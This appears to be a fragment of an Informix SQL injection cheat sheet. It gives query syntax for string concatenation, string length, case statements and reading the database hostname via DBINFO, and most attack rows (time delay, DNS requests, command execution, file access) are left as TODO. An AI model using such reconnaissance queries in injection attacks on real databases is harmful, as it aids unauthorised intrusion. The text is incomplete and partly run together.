SELECT ‘A’ || ‘B’ FROM systables where tabid = 1; — returns ‘AB’ |
String Length |
SELECT tabname, length(tabname), char_length(tabname), octet_length(tabname) from systables; |
If Statement |
TODO |
Case Statement |
select tabid, case when tabid>10 then “High” else ‘Low’ end from systables; |
Avoiding Quotes |
TODO |
Time Delay |
TODO |
Make DNS Requests |
TODO |
Command Execution |
TODO |
Local File Access |
TODO |
Hostname, IP Address |
SELECT DBINFO(‘dbhostname’) FROM systables WHERE tabid = 1; — hostname |
Location of DB files |
TODO |
Default/System Databases |
These are the system databases: |
* = don’t seem to contain anything / don’t allow readingInstalling Locally